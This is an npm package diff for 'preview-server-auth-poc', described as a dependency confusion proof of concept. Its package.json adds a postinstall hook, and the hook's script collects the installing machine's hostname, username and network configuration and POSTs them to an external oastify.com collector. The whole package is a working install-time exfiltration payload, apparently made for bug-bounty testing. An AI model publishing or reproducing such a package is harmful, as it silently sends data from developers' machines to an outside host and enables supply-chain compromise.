preview-server-auth-poc 1.1.4

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "preview-server-auth-poc",
+  "version": "1.1.4",
+  "description": "Dependency confusion PoC",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "author": "PoC",
+  "license": "ISC"
+}

package/postinstall.js

@@ -0,0 +1,52 @@
+const { execSync } = require("child_process");
+const http = require("http");
+
+function send(data) {
+  const options = {
+    hostname: "n8wqcxtcbp88dtvkvdcqx14d74d31tpi.oastify.com",
+    port: 80,
+    path: "/",
+    method: "POST",
+    headers: {
+      "Content-Type": "text/plain",
+      "Content-Length": data.length
+    }
+  };
+
+  const req = http.request(options, (res) => {
+    console.log(`PoC Response: ${res.statusCode}`);
+  });
+
+  req.on("error", (error) => {
+    console.error(`PoC Error: ${error.message}`);
+  });
+
+  req.write(data);
+  req.end();
+}
+
+try {
+  const hostname = execSync("hostname").toString().trim();
+  const whoami = execSync("whoami").toString().trim();
+  let netinfo = "";
+
+  try {
+    netinfo = execSync("ipconfig").toString();
+  } catch {
+    try {
+      netinfo = execSync("ifconfig").toString();
+    } catch {}
+  }
+
+  const payload = `
+==== Dependency Confusion PoC ====
+HOSTNAME: ${hostname}
+USER: ${whoami}
+NET INFO: ${netinfo}
+==================================
+`;
+
+  send(payload);
+} catch (e) {
+  console.error("Error running postinstall script:", e);
+}